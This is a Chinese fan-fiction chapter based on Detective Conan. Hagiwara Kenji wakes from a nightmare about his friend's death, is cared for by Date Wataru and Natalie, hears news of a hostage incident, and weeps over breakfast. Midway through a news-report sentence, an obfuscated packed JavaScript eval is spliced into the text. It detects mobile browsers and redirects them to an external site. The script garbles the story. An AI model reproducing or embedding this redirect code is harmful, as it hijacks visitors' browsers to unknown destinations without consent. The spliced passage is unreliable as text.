小学一年级的萩原会有些吃惊地看着在学校门口拦着他的小阵平,那个时候他们只是刚认识的同班同学。 小阵平当时脸上贴着创可贴,脸涨得通红,对着他大声说,“喂,我听说你家里是开修车厂的是不是?” 萩原就吓了一跳,回答说是。 然后小阵平就会鼓足勇气,闭着眼睛,特别响亮地说,“那请你和我做朋友吧。” 萩原研二就会笑起来,说,“好啊!” 然后就有了接下来二十三年的以后。 萩原研二知道自己在做梦,因为很快,小阵平就长大了。 他看见长大了的小阵平一直往远方走,可是远方漆黑一片。 萩原研二在梦里疯狂地奔跑,终于跑到了小阵平的身边,小阵平回头了,那是一张多么苍白的脸,沾染着黑色的血迹,瞳孔不自然地放大。 萩原研二很害怕,他要把小阵平扯回来。 小阵平不舍地看着他,手却把他推开了,于是萩原研二开始坠落。 最后,他掉在了自己家的床上,萩原研二以为是自己梦醒了,于是睁开了眼睛。 家里的电视机忽然发出了炸弹倒计时的声音。 0:03、0:02、0:01,0:00。 屏幕亮了。 ‘轰’的一声,屏幕里面,高级公寓的第20层,就这样再一次爆炸了。 “……萩原君,萩原君?” “萩原,醒醒!萩原!” 萩原突然惊醒坐起,喘着粗气,浑身都是冷汗,半天,才回过神来。 伊达航和娜塔莉担忧地看着他。 萩原研二茫然地看着他们两个,记忆慢慢回笼。 事件结束的时候,萩原研二几乎丢了魂,同事们不清楚他遇到了什么,谁也不敢放他一个人,只好凌晨给伊达航打了电话。 伊达航闻讯就立刻赶到,二话没说就把萩原研二抓回了家,摁他在床上让他休息。 后来,与其说萩原研二是睡了过去,不如说他是昏了过去。 “班长……”萩原研二开口,又不知道接下来要说什么了。 “好了,萩原君,既然睡醒了,就起来吃饭吧,午饭已经做好了。”娜塔莉微笑着说。 萩原研二一愣,这才闻到空气中煎鱼和味增汤的味道。 伊达航拍了拍萩原研二的肩膀,萩原迟钝地点了点头。 萩原慢吞吞地起身,走到客厅,客厅的电视开着,里面广告的声音让整个屋子显得很热闹。 广告结束了,端庄地女主持人出现在屏幕中。 “欢迎回来,接下来继续播报今日的午间新闻。” “昨晚八点,米花中央大厦顶层瞭望餐厅,杂志《NAAN》年度酒会发生恶性人质劫持事件,人质中岛小百合失踪,野田一夫确认死亡,三岛健人重 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|12228040|123566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 伤,目前仍在抢救中,劫匪三人,一人死亡,另有两人在逃,请广大市民近期注意安全。” “文秋周刊主编今日称此案另有隐情,并表示会在适当的时间刊登爆料,知情人称,此次爆料可能会引起演艺界地震。” “警视厅搜查一课课长鬼头源一郎于今日凌晨暂时解除一切职务,配合警察厅调查,疑似与此案有关,本台将对此事进一步跟进。” “据悉,美国著名女影星克丽丝·温亚德也在昨晚的人质之中,并不幸中弹,目前正在接受治疗,经纪人对外界宣布,克丽丝·温亚德将无限期中止一切演艺活动,安心休养。” 伊达航关上了电视,“好了,先别看了,萩原,吃饭吧。” 萩原沉默地点点头,跟着伊达航坐到了餐桌边上,刚刚坐下,他的手机就响起来了。 萩原掏出手机,接起电话。 “喂?萩原,你怎么样?”是爆|炸物处理班的上司,高桥警部。 “……还好。”萩原回答道。 “哦,那就好,”高桥警部继续说道,“我来是为了告诉你一个好消息。” “好消息?”萩原研二微微皱起了眉。 “啊,你不是一直想要转职到搜查一课吗?昨晚你的表现,小田切警视长看在了眼里,觉得你特别优秀,很适合搜查一课,所以主动把你要过去了。” “特别……优秀?”萩原提高了声音,觉得没有比这四个字更荒诞的了。 “啊,没错!无论是你的临场反应,还是你的判断力,还有你把握现场情况的能力,小田切警视长都赞不绝口,唉,虽然我不太想放你走啊,萩原,你可是我们的王牌,但是既然你的志向在那里,我怎么好拦你呢?”高桥警部遗憾道。 “怎么啦,怎么不说话?萩原,你高兴傻啦?”高桥警部笑着问道。 “……啊,谢谢警部。”萩原怔了半天,才回答道。 “好啦,我就不妨碍你高兴啦,今天好好休息吧,我听他们说,你昨天晚上累坏了。” “……好。” 通话终于结束了。 谢天谢地,班长和娜塔莉都没有恭喜他。 怎么会有人用这件事来褒奖他呢?萩原研二根本搞砸了啊。 “萩原君,吃点东西吧。”娜塔莉把秋刀鱼向萩原研二的方向推了推。 “是啊,萩原,无论发生什么,填饱肚子都是第一位。”班长拍了拍萩原。 萩原看着桌面上的秋刀鱼、味增汤和米饭,顿了顿,终于拿起筷子,夹了一口鱼,放在嘴里。 “怎么样?味道还可以吧?”娜塔莉笑着问道。 “……娜塔莉的手艺,当然是最好的啦。”萩原勉强地想要笑一下,结果没笑出来,反而一大颗眼泪却从眼睛里掉出来,砸在了桌面上。 随后,眼泪不受控制,越掉越急,终于,萩原狼狈地捂住眼睛弯下腰来。 “对不起……班长、娜塔莉,这也太丢人了……” 娜塔莉依然温柔地看着他,伊达航一下一下地拍着他的肩膀。 “好啦,好啦,哭吧,哭出来就好啦。” “有任何难题,吃饱饭再想其他办法,又不是世界末日,有什么的?哭完了就好啦,一切都会好的。”